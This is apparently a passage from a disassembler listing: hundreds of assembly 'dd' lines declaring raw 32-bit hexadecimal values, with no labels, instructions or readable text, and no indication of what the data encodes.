		dd 9F59685Fh, 0D232E5EBh, 0B0B9105Ch, 468C8613h, 0AE91701Dh
		dd 29E5F3A1h, 35CF5C54h, 4AD425CBh, 0E7AEC272h,	69F95E7Eh
		dd 0F8E217D8h, 2433C3E0h, 0B2B11560h, 24990ADFh, 7F028FB7h
		dd 1FC7F2E0h, 54E77F9Ch, 3CFCFECBh, 165B93E3h, 3925303Eh
		dd 74C025D6h, 0F84165EBh, 8CE07891h, 2BD5BF30h,	772C0CF1h
		dd 0F93AFADBh, 9B355D0Bh, 99F12D74h, 6A55BEF7h,	0FA0AB364h
		dd 3428E7E0h, 0F712F0A6h, 0D4F5A826h, 0E1968325h, 0FC1CE582h
		dd 0FD4C985Bh, 2C8B203Bh, 0AB57FE22h, 0E6554962h, 0A8E23678h
		dd 5085C0C3h, 61FC112Dh, 0C3902D87h, 0AD4080DDh, 6E8E7F9Eh
		dd 491FE8BBh, 1E9532Dh,	0F20B3F67h, 693B78C6h, 0C51943C2h
		dd 0A34C9088h, 15E6ABC2h, 10C6AAF5h, 8C3990Dh, 42D16E15h
		dd 29D36406h, 267DAA16h, 38311C7Ch, 30C0BC5Fh, 0F154287Dh
		dd 7309F740h, 0F8B1C9AFh, 5AEDD9BAh, 4B5D7DAFh,	0A074B626h
		dd 0A196C06Dh, 2C04FC08h, 678F7314h, 0E336E9A5h, 26D4D704h
		dd 24502038h, 4AF8DFE6h, 2ABF1A6Eh, 0AA954B81h,	21332334h
		dd 0B2C9559Bh, 20F50AABh, 7DD10272h, 9FEB546Ah,	0BF885C86h
		dd 48EEB1B2h, 0CAF47E0Bh, 0E8A405AFh, 0E79E923h, 3CC5582Eh
		dd 0A020E1E5h, 82FD0251h, 3205DA00h, 4578FDABh,	0F86F4A9Eh
		dd 1FE627CCh, 953B776Ch, 49951172h, 68048662h, 0BE3ECA76h
		dd 951D7218h, 0D594E81Eh, 25C8A42Eh, 2EA3F01Ch,	0E28064Ch
		dd 808B080h, 9B800902h
		dd 8C6508h, 647D51F2h, 1B11200Dh, 46801C54h, 9401072Bh
		dd 0B01496A3h, 0E7608810h, 32832D80h, 5CC4F8D0h, 4961482Fh
		dd 0C1445B1Bh, 40906604h, 0A6453E88h, 24142889h, 225AB20Ch
		dd 7ACE701h, 14C5F918h,	0E0044311h, 5A1280EDh, 584A6E09h
		dd 212CB025h, 1DE4A095h, 0C7955D13h, 4122C495h,	25E021Fh
		dd 2A9793DFh, 4AA5C041h, 0AA5FC008h, 0A5FCF448h, 3608848Ah
		dd 5CA248AEh, 31B64D47h, 67AA88FCh, 4770C599h, 25066B00h
		dd 0C3819731h, 1230D579h, 7F639065h, 524D3146h,	60A04A6h
		dd 31B712D8h, 0D05F30B1h, 5B0B4988h, 4BE72725h,	1BFDD244h
		dd 0FC1EED12h, 6D136721h, 6B551987h, 33C3EFD9h,	0DF98E0EDh
		dd 18591B29h, 24D325CAh, 16D9095Ah, 18DAB48Ch, 0D2430A20h
		dd 69F80044h, 9D717103h, 0F82D3805h, 226C1034h,	0CC9C7DABh
		dd 4DAC98B7h, 0E82D4612h, 7BDBEC15h, 86151B06h,	851C0CD8h
		dd 0B69D7641h, 5C4CC29h, 892882D4h, 0CE250D02h,	39E4762Ah
		dd 0EC01862Eh, 5FC46425h, 0BB0C1FA2h, 0A252A080h, 0D9470118h
		dd 431749Ah, 0A514122Ah, 5104848Ah, 0C4848AAh, 848A8AA5h
		dd 48ABAA50h, 6926A504h, 9A40673Ch, 12B61501h, 0E3CC08D6h
		dd 6D36156Ch, 436CB819h, 145131E0h, 2E67478Ch, 0C64EB79Bh
		dd 0CAECE75Ah, 4B8BF8CAh, 75EC75ABh, 883BDF89h,	55ED51E0h
		dd 0D3C39A4Eh, 5DE4423Ah, 58C00BFFh, 0E44C850Ch, 0DD832FF8h
		dd 0A4B1DF5h, 0B317E498h, 59BEEBC0h, 6128758Ch,	0EFC0F468h
		dd 0E8CD0E24h, 602AEF7Eh, 0A8B9E0ECh, 5B223E82h, 562F8317h
		dd 848507C0h, 0F8ED859h, 0C4EAD282h, 8B889620h,	0B18B1F8Ch
		dd 0A04E0CEFh, 0FA2DFDDCh, 619D92B2h, 0CD979875h, 232657FFh
		dd 29BFDE2Ch, 33E21281h, 0D2BE4120h, 20F077D3h,	0EC41FBCFh
		dd 0BAEF482Bh, 49642ED3h, 87F8D2E5h, 4CCF182Eh,	0BA9B7748h
		dd 4EE8A5F7h, 9A4A58BBh, 0AAC0A213h, 4758A01Eh,	0EF2DCC79h
		dd 0B75838AAh, 0E0B41309h, 4068052Eh, 0D89478A3h, 0AE50A2A1h
		dd 0A8188667h, 927315D5h, 0C33032BEh, 0F14D1211h, 8CC445CCh
		dd 99520440h, 0C1194059h, 7B6BCD2Ch, 38919661h,	0AE62E2F8h
		dd 2715C8A7h, 3D58D4B0h, 53DCA9A4h, 0CCF0532Fh,	0EB5E6AE2h
		dd 9CA9244Bh, 0D38859ABh, 82F14240h, 48912FBDh,	9EBE1B6h
		dd 0A7439D00h, 0B2F23F83h, 37922418h, 0E101BE1Bh, 7BDE21EBh
		dd 451E80Ch, 0E5B0B11Ch, 62139023h, 0D256C5D7h,	2863BEF5h
		dd 481ED152h, 0E854FC62h, 656D8EE4h, 0EB667F5Ch, 0F59DE68Dh
		dd 317444B8h, 0FDF982A2h, 0EFF185AFh, 0B3394F9Ch, 0A3087697h
		dd 7B0BD851h, 1BE0D74Dh, 0E84E138Fh, 4549500Fh,	0B43BBD7Dh
		dd 0BB9784DAh, 7B3157A9h, 0BBA1753Fh, 5EBC997Bh, 0C5492832h
		dd 4898430Ch, 0A2CAF4ACh, 0FED20896h, 50A5C48Ch, 344D512Dh
		dd 0C5C5474Ah, 10192C7Ch, 836C1DE9h, 78E05BE5h,	36C51CF6h
		dd 0B7B12277h, 0BAB8A1B5h, 14709E46h, 47CBCA1h,	0A02D125Ch
		dd 0F6671127h, 362E7587h, 183F924Bh, 0FC10802h,	5005FDh
		dd 18B573Dh, 0F3356163h, 5B31EB23h, 57207E0Bh, 877944h
		dd 3F84E820h, 9A09002h,	0B8002E7Dh, 82EC0A5Fh, 0F5D02154h
		dd 0CAD4019Fh, 6BA543A7h, 0FF85BB69h, 0F2FA327Bh, 3E5180E5h
		dd 310B091Fh, 0B3AC994h, 8EE8FC2Ch, 0C0B2CF4Eh,	0BD9998F0h
		dd 206C5DFFh, 8625DD7Bh, 750D9148h, 804BF803h, 182170A2h
		dd 59A20801h, 22015365h, 25049F54h, 7B087EC8h, 3061B07Ah
		dd 0A52570B8h, 225B7C81h, 260116C8h, 9AC70642h,	0FC5A2F91h
		dd 551218Ch, 47740BC0h,	642B9E1h, 2782004Bh, 9CD1A868h
		dd 0E92136B8h, 0B00AD238h, 0DB1695FCh, 0EF0491C1h, 3D03CA91h
		dd 1A6D0303h, 33D04A01h, 97036AEBh, 0EA85CF00h,	1488B803h
		dd 461215A7h, 445F1C0Fh, 0E8058588h, 0B139066Eh, 738830EBh
		dd 0FFCF9F26h, 7838F417h, 3797CC65h, 0C168B27Ch, 7A9605AAh
		dd 5641F02Ah, 21E17D9Ah, 0DDBF77EBh, 0D57741BEh, 1DF276D3h
		dd 508169E9h, 7D2A3AF8h, 1B6AE553h, 0BE275652h,	0B9B68937h
		dd 6C4C6CACh, 0BFB5203Ah, 4EBEFAACh, 0B3F845ADh, 78BA4360h
		dd 643C240Fh, 6EE32F3h,	210EEBE2h, 0F43300C4h, 0FFDFC17Bh
		dd 614B03E7h, 0A5B0C891h, 15D262EEh, 0E7917FE8h, 0DBF80D81h
		dd 2F72C03Bh, 62072938h, 0CD7F6AAFh, 539AC2C4h,	1415F6h
		dd 82003236h, 1089390Dh, 2EBD456h, 202F3DFEh, 0DD0D2153h
		dd 46B0333Eh, 405071D1h, 71935596h, 314E8B54h, 0C411B809h
		dd 8D5FB023h, 4A896B6Eh, 4BEAEFA4h, 1A736306h, 0B2180ED8h
		dd 50D15CACh, 80EDC878h, 1B8AD81Fh, 0DAD76CB7h,	0B2693B78h
		dd 69A1B509h, 25308033h, 5784023Ch, 7A8374A7h, 0D1E5AE90h
		dd 778C08DAh, 0FB7AC257h, 0D703CB21h, 0AB2E6F03h, 2D0DB542h
		dd 4256AD90h, 95639D46h, 2EDA9F02h, 18D3077Dh, 0B7E520Ch
		dd 0EC5DBEC0h, 519DBD72h, 134D17D8h, 0E8CDE427h, 0EECFEA3Ah
		dd 0CA6F0959h, 0A3C1CC4Ah, 0B7A513D3h, 25B41860h, 4A8929E4h
		dd 40AA3CA6h, 0E8F6AB45h, 0DC28FF7Eh, 0CE43A04Dh, 6A5E23E7h
		dd 15C75B7Dh, 0E074827Dh, 120D4B3Ah, 0FC65ABAAh, 0F3D2F721h
		dd 665EC299h, 245B80Fh,	6BEC95F7h, 596F7AE8h, 33304610h
		dd 3C4A7250h, 28B8157Ch, 0D1DE488h, 2EFCD43Ch, 0DCEA3109h
		dd 83E07415h, 0C8A0C1A3h, 3EA4144Ah, 8C086856h,	0A5760CD6h
		dd 0DBFCC610h, 29FF1852h, 0C30A2963h, 0C3C1F056h, 601BB159h
		dd 3F012480h, 4458C1C0h, 0E7E28935h, 0A011DE0Ch, 0C2C7CDE2h
		dd 0EDF45778h, 6BF857AFh, 7E0FC28Bh, 0A4C49A30h, 604EAF4h
		dd 0DB62D04Dh, 9D28F459h, 60A61E9Dh, 0C35036EBh, 0EA0544E2h
		dd 23865356h, 0DA8416B8h, 0D2F4F475h, 3392E12Bh, 602E5090h
		dd 12AD0CD1h, 70C5AFD0h, 899FFC5Eh, 748369D0h, 31763951h
		dd 90C5F956h, 48AB0D02h, 58939608h, 0CA0EAE95h,	78160ED1h
		dd 0F9394E2Ah, 2DC6F88Ah, 40222EB1h, 3ED77BC7h,	0E103C9B4h
		dd 0ECBD6946h, 0E773E360h, 2A9B8525h, 0D37B940Ch, 0A8EE4C6h
		dd 0AA47133Eh, 6A37E95Dh, 0D23991CBh, 8A32148Dh, 6032DDFh
		dd 10FC32F8h, 683857C0h, 2DA725FCh, 16890605h, 0B0FC2C9Ah
		dd 9182B517h, 80B5BF1Ah, 639881C8h, 43A3F01h, 86C00311h
		dd 0BEA20E88h, 803C120Ah, 4EA1CCAh, 2525FFE6h, 0E3B9A75Dh
		dd 90599790h, 6312A2EDh, 0D709A627h, 9434593Bh,	5DEC3EC5h
		dd 1AD4856Dh, 8414CB7Fh, 9669486h, 5E12D2EDh, 8883DDA3h
		dd 0E491CD74h, 0E8672F1Ch, 276A5D99h, 137FD76Ch, 0C00D2474h
		dd 9C7DF708h, 0BCBC511h, 0E0452440h, 9234B5B1h,	0ABBD2F78h
		dd 0FFD0A085h, 0AE56B596h, 0AFA29E2h, 43520601h, 0BE81024Bh
		dd 43F81018h, 2C60791Ch, 9028A0C1h, 0E593496Bh,	0EC1B2406h
		dd 0C25DAA3Ah, 45FB4A38h, 6AAFDE56h, 0A1B5DEB9h, 0AC870045h
		dd 78D6F20Ch, 515629C5h, 2213BE04h, 12FBA707h, 0B3209A44h
		dd 8A8059Dh, 0DBEEBF16h, 3B314947h, 2112574Fh, 3C858721h
		dd 6C789CA7h, 9CEE197Dh, 0BBC1D8B0h, 0EECCBF0Ch, 1C5B0B7Ch
		dd 0A2E14584h, 0D1A61CE7h, 0D67E625Eh, 51A0260Ch, 6760CC22h
		dd 0E8988076h, 0B85988FCh, 0ED6E3BDEh, 84B49844h, 0C07C8174h
		dd 51AADA58h, 4A64BADh,	0EAFACC22h, 46A7761Ah, 54604400h
		dd 0DC0E4115h, 13BFA310h, 1CABC65Eh, 0C2028DD2h, 0F4B263CBh
		dd 0D418195Eh, 74616982h, 3780143Dh, 0A664429Bh, 3678F412h
		dd 5E86B013h, 0BE8C5087h
		dd 0E88CD15h, 0A510DBA8h, 0FC29338Ah, 23F73F4Dh, 9E978C94h
		dd 7356A0D7h, 0B2113946h, 0FC5F544Ah, 97AF94h, 665D2031h
		dd 9950532Ah, 5312C167h, 1E25B21Ch, 41AE8EE9h, 518B6740h
		dd 0A5F65626h, 0E200F450h, 2C62EC42h, 0B01C5297h, 8C330BA4h
		dd 0A21D5077h, 186C7EDDh, 51A8B2FCh, 0CE90EE7Ch, 30D4A8ECh
		dd 6BEA0A31h, 4A8888D6h, 17FEE92Dh, 4A2828FCh, 5D07A633h
		dd 434635ADh, 0E0624903h, 44905AB8h, 76389217h,	8C2200D4h
		dd 89598935h, 5A004F62h, 6688B191h, 82340FC3h, 8D25D1D8h
		dd 4B601618h, 31F08423h, 4D2C8967h, 580459C2h, 33040572h
		dd 420C7043h, 0B0B9934h, 55C7CF01h, 1CCEE065h, 0A10782DEh
		dd 390C013h, 250960A8h,	0C0025090h, 3DAA6E41h, 0C4E18920h
		dd 9A72D18Ch, 0FDC47B01h, 9368D805h, 2ABE9564h,	561AEE01h
		dd 7915DFA1h, 6874CAE8h, 9A5A64EDh, 4C1C5C94h, 88B8AC9Eh
		dd 495AF421h, 564FB918h, 625B05C9h, 574E8DCh, 0FD04A468h
		dd 0BD199160h, 2CB6E2D7h, 0A48C6A44h, 17F6C4F3h, 3112E1EEh
		dd 8445980h, 92B8462Dh,	0ABAC8881h, 7F03E9B7h, 0B7150831h
		dd 0F5D47336h, 26FDE8E1h, 0C842D3A6h, 931A0400h, 0AB000A82h
		dd 0C2605A21h, 6A574DC5h, 158CBBCCh, 743AC6C5h,	0EF8D6221h
		dd 57F86DD7h, 0AE2AC747h, 1111FD00h, 8141285Bh,	7759A0D3h
		dd 91C87F6Eh, 981C3F68h, 5D7D2A3Dh, 0EEC45A9Dh,	0AB5CEDB4h
		dd 1FD08300h, 0BD62537Eh, 0CC1FC27h, 0BFA8DA62h, 3DCB730Ch
		dd 0A29313BEh, 0E361E98Ah, 41743FC0h, 6BB8410Ah, 0DB9095E3h
		dd 0E765B87Eh, 63FC0187h, 431BAEF1h, 83751A05h,	52549486h
		dd 0F15AA41h, 191769F5h, 44970328h, 21985776h, 0DD2467C7h
		dd 2BF81955h, 6960204Dh, 3E00E39Ah, 7F8195FCh, 83ECC38Dh
		dd 5CDB755Dh, 0C0906432h, 4340580Ah, 7E1D5118h,	0E54C5347h
		dd 0DBD3CC25h, 0EDC1890Fh, 0C06A0643h, 0F8C57D45h, 54B0CA0h
		dd 4C3283Bh, 0AA24D711h, 46711748h, 0B4A18110h,	8E36060Eh
		dd 0D9BE3D70h, 5D371009h, 3A5DC1Fh, 67DD1B86h, 72657134h
		dd 8BAAFBE0h, 0E1212049h, 3E894C6h, 4830C0B5h, 0CDDE1AADh
		dd 10E17FB8h, 98E11825h, 70FC75E8h, 110F483Dh, 4BD41FE8h
		dd 105FA21Dh, 11A05B11h, 0F72EDB24h, 1AD5CEF9h,	0ABB52E2Fh
		dd 0E01EE4AFh, 0E484394Ch, 0CF6AAA8Dh, 0FC64695h, 1D5CB1Ah
		dd 748E8557h, 0F6C71EE1h, 2EEFE0EFh, 1E690406h,	56CB6857h
		dd 0AD502079h, 0C2C1A6FBh, 9227D76Eh, 5C291AACh, 0B82B7355h
		dd 0B45ED360h, 83431A7Bh, 0E50315C9h, 0CD9F03Fh, 684248AEh
		dd 47B4F390h, 0EC375B13h, 0F8A862C2h, 556142B6h, 5E393F58h
		dd 0D0D753BFh, 8AAD760Bh, 8AADC072h, 19521262h,	0ED1105CCh
		dd 247B5898h, 2255586h,	89708F05h, 564E7F91h, 527811D5h
		dd 0AEB19454h, 0A9741485h, 0DB052611h, 18B54BD7h, 208CFE2h
		dd 0F5F1A2C5h, 1A3C1DCh, 9C90155Ah, 0DB59AB88h,	0AEDB2EA8h
		dd 0C944C3D0h, 0B9552994h, 2B996958h, 716D1912h, 0E0AE021Ch
		dd 250C2D07h, 5602E684h, 0E340AD33h, 0B3FF89CEh, 7A6D0E4h
		dd 80C4DEC5h, 6A1D13DFh, 57FDDCBDh, 28DA8F44h, 125262B3h
		dd 852B687Eh, 871C3C36h, 2674B636h, 0E66E5DE6h,	0C4C0A84Ah
		dd 7B99AA9Eh, 6FC0F0DCh, 2FBEA879h, 673D72E0h, 0D7DFE520h
		dd 1B572C6Dh, 9228A87h,	32FC1827h, 0E91FB6Ah, 0BCD0250Fh
		dd 23B68623h, 0C19123C8h, 1BB1BE4Ch, 0AB3D8783h, 0E0C0D835h
		dd 0C80D72A5h, 619EBF1h, 0EF049F0h, 19C0F5B4h, 512762B0h
		dd 39807584h, 20771D1h,	386DD1D7h, 7975A9CAh, 1AFFD5EEh
		dd 0F8CE8B6h, 2F048466h, 97A6E468h, 0E9D7105Bh,	50E1F788h
		dd 418BDA68h, 56A81015h, 0FC3041F2h, 50C3624h, 86B57822h
		dd 0CC686904h, 4C0A66C5h, 52AE254Eh, 0A4C2D009h, 1665BF33h
		dd 0F7603611h, 38EC050Ah, 3BE02990h, 0C2E31281h, 0C499DDBEh
		dd 7D507E7Dh, 9FF3345Bh, 104AE3DBh, 0BAFE3852h,	0C02A8149h
		dd 52A7574Eh, 3625E29Ah, 0C5F2085Dh, 7B65CCB2h,	0B6A9F688h
		dd 21FE399Ah, 242E0383h, 6B544171h, 2851E68Bh, 3A6F52D1h
		dd 8CDC93D8h, 0DC5580BAh, 6EBF6CF1h, 0F1CDE6A4h, 2AD76828h
		dd 1A841B6Eh, 0FA928868h, 321A55DAh, 0ACAF0813h, 54A7139h
		dd 9557B3F4h, 0DC31325Bh, 3D2E3955h, 46A73F7Fh,	0C9BE0E46h
		dd 8F09FF61h, 5FC0ACAFh, 0F73F7E86h, 428E82BAh,	4568F76Bh
		dd 0A3A16515h, 87577A7Ah, 0BC99545h, 0ABFFAD0Ah, 0A170EA8Dh
		dd 0E7A9D767h, 552B8106h, 0D3B2370h, 43D1D404h,	8EA8A929h
		dd 8219266h, 8D0CE08h, 0C49A066Bh, 7EEFC335h, 0FB10002Ah
		dd 4CA1C416h, 0F8656AD9h, 0BB480A1h, 0A0CE1690h, 92F20F5Fh
		dd 0EE97239Bh, 2A994F5Bh, 6209D86Eh, 40CD188Eh,	56816426h
		dd 8EC4E94Bh, 7C0E1445h, 9A276161h, 0A5D91989h,	0B44D9BFEh
		dd 32E7196Eh, 29334C72h, 0A992E8E8h, 0CAF5D8EBh, 0C7A85A1Bh
		dd 0BBC7CC14h, 81FD724Ah, 0A9A62241h, 5C77B0D8h, 781C2F1Dh
		dd 5614D83Ah, 0ECD18385h, 5D62B1E9h, 0E8227369h, 359E56AFh
		dd 1150C32Dh, 18273C15h, 40AE58CEh, 85E9F84h, 16AE1B78h
		dd 3D8CD9DFh, 0A6D07EDFh, 4814FC5h, 7A730A1Bh, 0D68020DDh
		dd 991728BAh, 0CACCE370h, 0DE284A26h, 258D2BB6h, 186D886Ch
		dd 5FA45655h, 0A6C1A308h, 1CCB6801h, 5E021983h,	2A00A40Eh
		dd 12966511h, 0DA161C71h, 7DE6FF95h, 0C164DF30h, 4D3A24FEh
		dd 0E134E3B0h, 8BAD0C0Eh, 0CAAAE022h, 3CF6B137h, 662C75E8h
		dd 50EAB13Eh, 1E15C8C3h, 593281AAh, 3A56A4B0h, 36FD9376h
		dd 0E06FA836h, 0C4D450ADh, 2178FF8Ch, 0B49B2662h, 0CB7F3FB0h
		dd 12C50AA1h, 8C17F2E9h, 0C788D1E0h, 72567B07h,	94B452CFh
		dd 55D4A563h, 0D6DB6A07h, 0C5C235E1h, 0A8010D36h, 34DAE103h
		dd 51C6B6E1h, 0E3152686h, 0ED324755h, 7310DC0Dh, 77B512BEh
		dd 0A5118B0h, 41386109h, 6DD73630h, 9D44710Ah, 6C0AB01Dh
		dd 6548A0A2h, 0F82F2C86h, 1915522Dh, 0DF99EC8Fh, 5CAC5E13h
		dd 0A4DC122Ah, 6C9429BBh, 0BFB92666h, 5D542613h, 3EC28945h
		dd 0B27AD824h, 2EFC9E2h, 7C443756h, 8B413E0Eh, 250EEB89h
		dd 8E92354Eh, 0E04890ABh, 90E4BCBCh, 826565A2h,	160E476Fh
		dd 71821909h, 0E391FC94h, 6239E5C0h, 5B1A6748h,	84DE8DA3h
		dd 748C194Dh, 231B2173h, 58563C4Ah, 0B2EBF5F0h,	6A4783h
		dd 0A53E46Ah, 9E176B8Ch, 497485EDh, 71007F22h, 3E2890E8h
		dd 83A08AAFh, 0E803BD41h, 17802E13h, 2EA32C23h,	2790FC3Ch
		dd 7B9F768Ch, 6AD02C5Fh, 0EFB602ECh, 61453C8h, 80315381h
		dd 0CA71AF84h, 2B83312Ah, 0FC345957h, 3BDF108Ah, 0CA276636h
		dd 5A05C476h, 0FF8CE034h, 0B6C5C576h, 19044EA2h, 797C8DEDh
		dd 658D0C45h, 0B20382E5h, 906B6915h, 0C830AF0Dh, 63074592h
		dd 0A33A9585h, 8280D06h, 5B001C63h, 7D7211h, 0F4E46483h
		dd 248AABA7h, 0E5CAB6D6h, 338F32ADh, 682764DAh,	4FFD46AEh
		dd 7E8AAB52h, 92341F13h, 71D432BAh, 4F13AB31h, 7A334FFFh
		dd 9710866Ah, 120A4997h, 18D320FFh, 0A18CB87h, 0E029AF63h
		dd 0D3130E52h, 541E2A37h, 7A3446B4h, 4DEB5733h,	368556AEh
		dd 63F1D06h, 450EBDC8h,	6F93FBB1h, 8A828D59h, 0CFF89138h
		dd 0CA521D23h, 14670395h, 93563FE0h, 4C1E5001h,	0E93473B3h
		dd 0A22867D8h, 97E4A75h, 8C70BF97h, 7556E0E2h, 34A995D2h
		dd 5185617Bh, 44A2E66Eh
		dd 9DC3FCEAh, 6C1D5665h, 6B13BF1Eh, 0C2563A08h,	0CFEC06F5h
		dd 0C17519E4h, 2A823B35h, 1A19AFA9h, 6228BA27h,	571B747h
		dd 2234C965h, 1E7DFB46h, 8728AF17h, 459E7A22h, 1C4BD247h
		dd 0A26D0970h, 0A8891369h, 36AE3C4Dh, 3C8CB521h, 229A4F5Bh
		dd 0A731167h, 5D505FADh, 0C4CA48D5h, 57DC98E1h,	5B24BA63h
		dd 0AF428A70h, 6C0FA028h, 5D4F12FDh, 676A191Dh,	0E9148A56h
		dd 3E896212h, 0CFC81005h, 594F0CC1h, 5EE6DD44h,	66A8CCC4h
		dd 7E6CD59Ch, 9C7BDAB1h, 4313CD18h, 195EF019h, 5D3AAAEAh
		dd 94A57559h, 2D0A7668h, 5D56F3D4h, 42B21F76h, 19DC8E20h
		dd 8F09E4EBh, 0A91E0116h, 0BE215E52h, 8D8CD601h, 0CF423348h
		dd 0A16446C1h, 0A3FE294Ch, 81434B46h, 6A1ABA45h, 0C4651088h
		dd 24D00498h, 281AE1A5h, 6B8DB02h, 0E6FB8DA9h, 3A22F050h
		dd 0F35FC57h, 0FE9780C6h, 1CDB2FECh, 92970149h,	3EA8D398h
		dd 0DB91A6A8h, 4601ED4Dh, 841E569Eh, 84D160EAh,	850F93B0h
		dd 0CC8B043h, 114710C1h, 0E5352263h, 0C03E1D61h, 0B6DF1918h
		dd 1628E8BCh, 0C4643A01h, 4AE9E29Bh, 8AB91D88h,	48DA4851h
		dd 1668344Dh, 397E3E3Ah, 0CEC63B5Ah, 0F504538Bh, 4173A9ABh
		dd 0AA3BC6D3h, 70DA6902h, 0F5CCC4F9h, 502393BEh, 3EB0F1D0h
		dd 2E95ABE8h, 4C8EC8BFh, 1361E0EDh, 0C3EB0150h,	0E370F460h
		dd 1E4285F6h, 2095D338h, 8202A509h, 0C1138C1Fh,	18583AA6h
		dd 0EC189899h, 0C62BA645h, 82370550h, 0ADA0036Fh, 3CFA0C14h
		dd 0C712702Ah, 1BE9BA24h, 0DA56361Ch, 9BC94242h, 74C389A2h
		dd 75B4575Ah, 0C551095Fh, 2188E912h, 14AE5D61h,	5C7F50B4h
		dd 5C55FF5Dh, 4A9F159Fh, 2E7E90Eh, 0E91A49C2h, 0DC3FF10Fh
		dd 841308A4h, 0FC5AD18Ch, 2A8B1B55h, 22ACA075h,	566EADAh
		dd 0C0BBE92Fh, 0A48DD2D9h, 7A8ABC87h, 6A50B04Bh, 94530174h
		dd 62664Fh, 57970CBFh, 0E1BE9BF9h, 0FA9A4594h, 5500B29h
		dd 0DB028585h, 0BABBCE93h, 0B1B482D4h, 0EA65F8BAh, 5C378DFAh
		dd 4215888Ah, 3E09656Ah, 6439FB23h, 0CDC8A079h,	8EA03B2Bh
		dd 0B6F92EB0h, 0CF6A84E4h, 0BC32F10Bh, 0AC04111Bh, 6512D50Dh
		dd 0A20F2036h, 1D593305h, 237C8DAAh, 5D79DF2h, 0B0D5091Fh
		dd 906DED90h, 6E101445h, 73F8C7E2h, 58B8AC13h, 32E9990Ch
		dd 3891917Fh, 98AC00AAh, 1C5DDA3Bh, 0C2BCAFB7h,	14572734h
		dd 5374AF64h, 0BE4D8009h, 9620C990h, 19B7D0B2h,	0EB5BA5F6h
		dd 0ACE4A0ECh, 0AF216902h, 0D24EA4D0h, 891A583Dh, 0D38EEA03h
		dd 0E7B9AA93h, 0F8EE5275h, 5E62418Ah, 0A786F022h, 0BF82E780h
		dd 751A9718h, 1B6CEB0Bh, 65D28743h, 5A22E481h, 17DF12BBh
		dd 0E0D65728h, 0E4BBB38Bh, 0FE61D567h, 0E790D6Dh, 4E1FA256h
		dd 7B1AF582h, 1029A3D4h, 0B46864D9h, 4609C495h,	2A8921EAh
		dd 736D80B2h, 28D8DB11h, 92F9CB43h, 0D9573FF4h,	886CD250h
		dd 14E7DDC8h, 0BB212AD5h, 852DAFE2h, 55CF4AC7h,	2E91F025h
		dd 0ACA14F96h, 4F1B3C1Ah, 8F670BC3h, 87E9ACh, 81397280h
		dd 84651A11h, 1575209Ch, 1654F3B8h, 0AEAFF775h,	9B08242Ah
		dd 5EAD2E0Eh, 76F33CDh,	8A15BAE8h, 0B541FCD3h, 0BC82C622h
		dd 0A38B85AEh, 0E47DB608h, 7A2E5AFBh, 7AD5F8B8h, 0A8D3872Bh
		dd 3465D9EDh, 8F2EBB1Bh, 8FEB6B1Fh, 0A30ACF63h,	7DF2B75Ah
		dd 0D764CD7Ch, 0BA8D8C43h, 0FA72EE9Eh, 0FC0CAA14h, 0B1A1B2BBh
		dd 682B0BACh, 0A1542D57h, 0A753565Fh, 0A8F5CEAh, 80B440DAh
		dd 0D7A52287h, 0B576F8AAh, 0A5C68CFh, 0FC38E02Dh, 0D9C7D92Ch
		dd 0A641B1ACh, 66BBADE2h, 45AA01B2h, 3EC95228h,	0CA8222FDh
		dd 5D0FB33Ch, 2A855E7h,	0A0F98C18h, 1472DAE2h, 0A0A1E80Ah
		dd 1562B4Eh, 0AA167AD6h, 92C06277h, 88B892EFh, 20551BA7h
		dd 0B18FF8CEh, 0E44DE501h, 0E050C416h, 50B832h,	2A3B81D6h
		dd 61F90A27h, 0AC230384h, 9487434Fh, 0A36A9CE0h, 22E809C9h
		dd 16359D5Dh, 426FC85h,	1E57275Fh, 0A0D98D7Ch, 0B46B5925h
		dd 0F48AB6ACh, 0B4AEB8CAh, 0D316AF81h, 5061CA4Ch, 0F5F2AA52h
		dd 87683B35h, 0DB198607h, 255428FAh, 0ACD28405h, 3C37320h
		dd 505C044Ah, 0EA0F5DABh, 0A2027B2Bh, 1D40E01Ch, 8313891Dh
		dd 23170643h, 54010D5Fh, 0F7B61E0Bh, 68419882h,	9AD70AC8h
		dd 40F96843h, 8156C98Ah, 0BA840B99h, 1C011C92h,	507C31F6h
		dd 93BE1B72h, 532A7022h, 398F098Fh, 0A097A573h,	4857E478h
		dd 0BC975D3Dh, 7F38FD2Bh, 79CE50AAh, 92AA3EF8h,	0C6407DA7h
		dd 30AAA42Eh, 170E688Fh, 20006FC3h, 43F0A4BAh, 65A924FEh
		dd 931CBD30h, 1355E363h, 0AB7F5C4Fh, 0F05CFA16h, 0DC200063h
		dd 0AA25093Eh, 0FA827875h, 6567D383h, 1DA852B0h, 174BF768h
		dd 2908AD6Bh, 81023B3Bh, 9EC0BAD0h, 38BE40E0h, 0D78D5CE3h
		dd 0A09F574Fh, 1AE6A640h, 0FE847312h, 6C81E289h, 7D71DD64h
		dd 2BC08E46h, 0CE6ECC6Dh, 0F03AC1A6h, 2B3015A6h, 2553C191h
		dd 5B0247CDh, 81946539h, 6B4F41FCh, 4280FA62h, 842EAB2Eh
		dd 4A463352h, 765A76C6h, 39E3BA2Ch, 0F465BBF8h,	1219646Dh
		dd 1012598Fh, 0B8205A80h, 0C21783Fh, 0F4EF3628h, 816294BAh
		dd 7E1BD76h, 0EFACCA89h, 926086C4h, 0E95E20A0h,	0B171D76Ah
		dd 51025D6Dh, 0DC8365A0h, 17C5B83Fh, 7EEF7C8Dh,	4374F2FAh
		dd 4C81BF5Ah, 0A6996585h, 1F5CC12Eh, 4BF02A93h,	0D1956B1Bh
		dd 0D064031Eh, 11B6D80Dh, 934B4100h, 52C5814h, 83FBD3Bh
		dd 0FC6B0C21h, 2AF1C871h, 9AA715D3h, 0EE9ACE5Fh, 31B06977h
		dd 7AC82D71h, 0A578CE89h, 0E4D05C84h, 4A760602h, 5B060C9Dh
		dd 0B6220917h, 0FF7029A2h, 19039B0Fh, 97015A8Dh, 20101B9Ch
		dd 8D547D3Eh, 3ABE6A5h,	819B669Bh, 88CA098Ch, 1831579Ah
		dd 78838213h, 13702909h, 0EE955E6h, 6F08C802h, 84BF1BD4h
		dd 0E110CB86h, 49835146h, 0F87F6274h, 0F1F3F644h, 0A86D5C6h
		dd 5D2B059Dh, 0A1B5D470h, 374DA90Dh, 822887D8h,	0BE0D688Fh
		dd 74888BFCh, 569443E0h, 8FFF66EDh, 33553Ah, 426AACC2h
		dd 3FC5D8B9h, 0C1D1080h, 4C40D022h, 60B2307Ah, 1436DB11h
		dd 4E607FA9h, 39070586h, 413F2F2Ah, 6AF0DB4Ch, 2CB5C096h
